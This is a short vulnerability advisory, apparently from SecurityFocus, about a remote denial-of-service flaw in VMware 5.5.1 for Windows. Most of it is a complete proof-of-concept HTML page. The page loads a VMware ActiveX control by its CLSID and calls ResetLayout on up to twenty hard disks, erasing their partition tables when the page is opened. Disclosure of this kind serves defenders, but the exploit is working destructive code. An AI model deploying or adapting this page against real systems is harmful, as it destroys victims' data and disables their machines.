source: https://www.securityfocus.com/bid/19551/info

VMware is prone to a remote denial-of-service vulnerability.

An attacker can exploit this issue to destroy partition tables on the affected computer and to deny service to legitimate users.

This issue affects VMware version 5.5.1; other versions may also be vulnerable for Windows.

 =============== vmware.htm start ================
 <!--
 // VMware 5.5.1 for Windows arbitrary partition table delete issue.
 // Tested on Windows Server 2000/2003
 //
 // nop nop#xsec.org
 // http://www.xsec.org
 //
 // CLSID: {0F748FDE-0597-443C-8596-71854C5EA20A}
 // Info: Vie2Locator Class
 // ProgID: VieLib2.Vie2Locator.1
 // InprocServer32: C:\Program Files\Common Files\VMware\VMware Virtual
 Image Editing\vielib.dll
 --!>
 <html><body>
 <object classid="clsid:{0F748FDE-0597-443C-8596-71854C5EA20A}"
 id="vmware"> </object>
 <script>
 var disk = 0; // HardDisk No
 while (disk < 20)
 {
 var x = vmware.ConnectDisk(disk); // Connect to HardDisk
 x.ResetLayout(); // Will clean all partition table on your Harddisk
 disk += 1;
 }
 </script>
 </body></html>
 =============== vmware.htm end ==================